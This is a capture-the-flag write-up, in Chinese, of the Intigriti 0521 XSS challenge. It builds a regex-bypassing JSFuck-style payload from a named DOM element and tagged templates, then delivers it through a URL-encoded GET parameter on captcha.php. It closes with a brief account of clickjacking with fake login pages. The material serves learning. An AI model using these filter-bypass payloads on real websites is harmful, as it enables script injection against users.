這是之前 Huli 大在前端社團分享的 國外 XSS 挑戰。
最近比較有時間來分享,當時 「從0~提交通過」的通靈思路。
組字串的細節可以參考 Huli 大後來在部落格分享的文章。
網址:
https://challenge-0521.intigriti.io/
規則:
在「challenge-0521.intigriti.io」這個網域,以不使用「self-XSS (不讓使用者輸入 XSS 指令)」的前提下,使用 XSS 執行「alert(document.domain)」。
進入網頁,看到一個很顯眼的機器人驗證題目欄位。
題目既然提到要用 XSS,當然要打開 F12 看看 HTML 和 Javascript 有什麼驚喜。
首先看到了網頁裡面嵌入了一個 iframe,位置在 ./captcha.php
。
<iframe src="./captcha.php" width="450" height="90" frameborder="0"></iframe>
iframe 底下,包含機器人驗證的表單 HTML 與 Javascript。
<form id="captcha">
<div id="input-fields">
<span id="a">416</span>
<span id="b">+</span>
<input id="c" type="text" size="4" value="" required="">
=
<span id="d">773</span>
<progress id="e" value="0" max="100" style="display:none"></progress>
</div>
<input type="submit" id="f">
<input type="button" onclick="setNewNumber()" value="Retry" id="g">
</form>
<script>
...
</script>
接著看到表單送出時,會往下呼叫 loadCalc()。
HTML 的部分看完後,繼續往下閱讀,送出時會執行的所有 Javascript。
仔細看一下 loadCalc(),他會跑一個 Timer,等到 100% 的時候執行 calc():
function loadCalc(pVal){
document.getElementsByTagName("progress")[0].style.display = "block";
document.getElementsByTagName("progress")[0].value = pVal;
if(pVal == 100){
calc();
}
else{
window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
}
}
當中的 calc() 的部分,會把 a+b+c 的相加結果放到 eval 執行相加。
接著判斷相加後的結果,是否等於 d,也就是等號後面的數字。
到這邊會發現,calc() 裡面,有一個可以用來執行 Javascript 程式碼 eval。
但是在這段 eval 外面,有一個 if 判斷,透過正規表達式,過濾了當中的字元。
只要 operation 當中包含了任何被過濾的字元,就不會執行 eval。
其中有一行註解特別說明,e 是被允許的,因為它在數學中是一個自然底數。
function calc() {
const operation = a.innerText + b.innerText + c.value;
if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
if (d.innerText == eval(operation)) {
alert("?? Congratulations, you're not a robot!");
}
else {
alert("? Sorry to break the news to you, but you are a robot!");
}
setNewNumber();
}
c.value = "";
}
這一段是相加結果不符之後,用來重新產生題目的程式碼。
function setNewNumber() {
document.getElementsByTagName("progress")[0].style.display = "none";
var dValue = Math.round(Math.random()*1000);
d.innerText = dValue;
a.innerText = Math.round(Math.random()* dValue);
}
到這邊確定了兩件事情,
第一件事:表單不會送出任何東西到後端。只會在前端執行 Javascript。
第二件事:你必須在不使用正規當中的字元的前提下,生出一個 alert(document.domain) 塞在 eval 的 operation 執行。
下個關鍵字問問狗:「javascript xss non-alpha」。
接著繼續找著找著,在第一個連結裡面,找到這個投影片。
第二個連結找到 JS Fuck 的 Github。
只要利用 JS Fuck 介紹的方式,就可以利用 eval 拼出我們要的 "alert(document.domain)"。
但是 eval 只會幫我們拼成字串,並不會幫實際執行,該怎麼辦呢?
在 JS Fuck 裡面有提到了一種,用來執行任意 Javascript 的寫法:
[]["filter"]["constructor"]( CODE )()
從前兩個搜尋結果內容,確定了第三件事情:我們可以利用 JS Fuck 的方式,拼出其他字元,塞到 eval 來執行任意Javascript。
[]["filter"]["constructor"]( CODE )()
執行 alert此外,當我嘗試在 challenge-0521.intigriti.io/ 執行 Function('console.log("123")')() 會發現這個頁面有設定 CSP,所以被擋掉無法執行。
這時通靈一下:想到之前在 HTML 的原始碼,有看到網頁有使用一個 iframe 網頁: captcha.php
進去這個頁面試試看,有沒有擋 CSP。
試完後發現,這個頁面沒有擋 CSP。
這時候確定了第四件事情:我們可以在 captcha.php,將拼好的 Function('alert(document.domain)')() 塞進 eval() 進行 XSS。
然而,看完 JS Fuck 的 Github 以及投影片程式碼,會發現目前有一個問題:沒辦法使用 ! 跟 (),也就是用來生出 true 跟 false,以及用來執行的小括號。
這時候確定了第五件事情:目前沒辦法直接生出 true 跟 false。
[][ 0 ] + [] // 早期語法
`${[][ 0 ]}` // ES6 語法
+{} + [] // 早期語法
`${+{}}` // ES6 語法
[] + {} // 早期語法
`${{}}` // ES6 語法
現在還缺 l
、r
、m
,這些字要怎麼生出來?
這時通靈一下,想到正規表達式沒有排除的 e。
這什麼東西?這是網頁的進度條!為什麼 e 出來的是這個東西?
這是 HTML5 當中的一個特性 Named access on the Window object
可以用元素的 id 名稱當作變數名稱,直接存取對應 id 的元素。
試著把 e 轉成字串之後,發現會得到 "[object HTMLProgressElement]"。
有了 constructor,就可以將 e['constructor']
轉成字串,得到小括號。
這時候確認了第六件事情:我們可以利用 e 拼出 constructor,間接拼出 []["filter"]["constructor"]( CODE )()
備註:我當時是使用: e['constructor']['constructor']('alert(document.domain)')()。
(
'alert(document.domain)')()
,字串外面的兩組 ()
不能是字串,那我要怎麼改寫才能執行?利用 Tagged template literal 的特性,將 () 使用 `` 的寫法替代。
詳細在這篇 stackoverflow 與 Huli 文中分享的這篇文章。
e['constructor']['constructor']`_${'alert(document.domain)'}```
其他拼字的詳細過程不再贅述,有興趣可以參考 Huli 的文章。
這時候就可以拼出,執行題目要求的程式碼。
以下是我當時拼出來的結果:
e[`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ][`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e + [][0]}`[21] + `${e + [][0]}`[22] + `${e + [][0]}` [13] + `${e + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}`[5] + `${e + [][0]}` [28] + `${e + [][0]}` [23] + `${e + [][0]}` [24] + `${e + [][0]}` [25] + `${e + [][0]}` [26] + [[] + [] + 1 / 10][0][1] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}` [23] + [+{} + []][0][1] + `${e + [][0]}`[33] + `${e + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```
複製到網頁上送出,成功跳出題目要求的 alert。
YA! 可以開心地去交答案了。 (結果被打槍了)
我們必須要在進入網頁時,自動帶入我們拼好要執行的程式碼。
先前看了前端的 Javascript ,並沒有任何的程式碼會自動帶入c欄位。
這時通靈一下:如果我們希望進入網頁時,將值自動帶入 PHP 網頁的 input,PHP 可能會怎麼寫?
(用 GET 塞到 input 的 value)
<input id="c" type="text" size="4" value="<?php echo $_GET['c']; ?>" required="">
那我試試看後面加上 ?c=123 好了。
加上去之後,確認了第七件事:GET 參數當中的 c 會帶入 c 欄位的 value 值。
https://challenge-0521.intigriti.io/captcha.php?c=123
接著把剛才拼出的程式碼,塞到 GET 參數
進入網頁並送出表單之後,發現竟然沒有反應...
https://challenge-0521.intigriti.io/captcha.php?c=e[`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20][`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20]`e${[+{}%20+%20[]][0][1]%20+%20`${e%20%20+%20[][0]}`[21]%20+%20`${e%20%20+%20[][0]}`[22]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][13]%20+%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`[5]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20`${e%20%20+%20[][0]}`%20[24]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[26]%20+%20[[]%20+%20[]%20+%201%20/%2010][0][1]%20+%20%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20[+{}%20+%20[]][0][1]%20+%20%20`${e%20%20+%20[][0]}`[33]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][14]}```
這是塞進去 GET 之前,拼出來的值:
e[`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ][`${e + [][0]}` [5] + `${e + [][0]}` [1] + `${e + [][0]}` [25] + `${e + [][0]}` [19] + `${e + [][0]}` [6] + `${e + [][0]}` [13] + `${e + [][0]}` [28] + `${e + [][0]}` [5] + `${e + [][0]}` [6] + `${e + [][0]}` [1] + `${e + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e + [][0]}`[21] + `${e + [][0]}`[22] + `${e + [][0]}` [13] + `${e + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}`[5] + `${e + [][0]}` [28] + `${e + [][0]}` [23] + `${e + [][0]}` [24] + `${e + [][0]}` [25] + `${e + [][0]}` [26] + [[] + [] + 1 / 10][0][1] + `${e + [][0]}`[30] + `${e + [][0]}`[1] + `${e + [][0]}` [23] + [+{} + []][0][1] + `${e + [][0]}`[33] + `${e + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```
這是塞進去 GET 之後,input 當中的值:
e[`${e [][0]}` [5] `${e [][0]}` [1] `${e [][0]}` [25] `${e [][0]}` [19] `${e [][0]}` [6] `${e [][0]}` [13] `${e [][0]}` [28] `${e [][0]}` [5] `${e [][0]}` [6] `${e [][0]}` [1] `${e [][0]}` [13] ][`${e [][0]}` [5] `${e [][0]}` [1] `${e [][0]}` [25] `${e [][0]}` [19] `${e [][0]}` [6] `${e [][0]}` [13] `${e [][0]}` [28] `${e [][0]}` [5] `${e [][0]}` [6] `${e [][0]}` [1] `${e [][0]}` [13] ]`e${[ {} []][0][1] `${e [][0]}`[21] `${e [][0]}`[22] `${e [][0]}` [13] `${e [][0]}` [6] [[][ [[][0] []][0][4] [[][0] []][0][5] [[][0] []][0][6] [[][0] []][0][8] ] []][0][13] `${e [][0]}`[30] `${e [][0]}`[1] `${e [][0]}`[5] `${e [][0]}` [28] `${e [][0]}` [23] `${e [][0]}` [24] `${e [][0]}` [25] `${e [][0]}` [26] [[] [] 1 / 10][0][1] `${e [][0]}`[30] `${e [][0]}`[1] `${e [][0]}` [23] [ {} []][0][1] `${e [][0]}`[33] `${e [][0]}` [25] [[][ [[][0] []][0][4] [[][0] []][0][5] [[][0] []][0][6] [[][0] []][0][8] ] []][0][14]}```
有沒有發現少了什麼? +
不見了!!
為什麼塞進去 GET 之後 + 會消失?
url 的字元只能使用包含在 ASCII 的字元傳送,其他的字元需要被轉換為有效的 ASCII Code。而且 + 號在 url 的 query parameter 被當作是空白。
URLs can only be sent over the Internet using the ASCII character-set.
Since URLs often contain characters outside the ASCII set, the URL has to be converted into a valid ASCII format.
URLs cannot contain spaces. URL encoding normally replaces a space with a plus (+) sign or with %20.
所以我們必須把剛才網址,經過 urlencode 轉換一次。
url 經過轉後,+號就會變成 %2B。
接著再次進入轉換過的網址,進入後直接送出表單。
https://challenge-0521.intigriti.io/captcha.php?c=e%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%60e%24%7B%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B21%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B22%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B24%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B26%5D%20%2B%20%5B%5B%5D%20%2B%20%5B%5D%20%2B%201%20%2F%2010%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B33%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B14%5D%7D%60%60%60
再次提交修改後的結果,順利通過了挑戰。
每次玩 CTF 都覺得很像在練通靈。
線索只要找錯,通靈不成,便成亡,只會越想越錯浪費很多時間。
相對的,一旦找對線索跟方向,會發現其實並沒有想像中的難 (甚至會想罵髒話)。
所以玩過幾次後,真心覺得,在資安圈長期闖蕩的人,腦袋跟反應都很聰明。
很多被拿來利用的安全問題,都是出現在一些平常開發不會想到或用到的地方。
以這題的 Clickjacking,就是模擬利用網頁 iframe 進行 XSS 攻擊,來誘導使用者進行非預期的操作情境。
例如:
將假的登入網頁設定透明,放到最上層,並將正常的網站顯示並放在下層。
這樣子使用者會以為,他是在操作正常的登入網頁,但實際上使用者操作的是假的登入網頁。
詳細可以參考去年鐵人賽這篇: 資安這條路 17 - [WebSecurity] 點擊劫持 clickjacking 。
所以即使不是走資安圈,CTF 很適合當作練習「技術的深度 & 廣度」,以及「解決問題的能力跟耐性」(還有通靈能力)。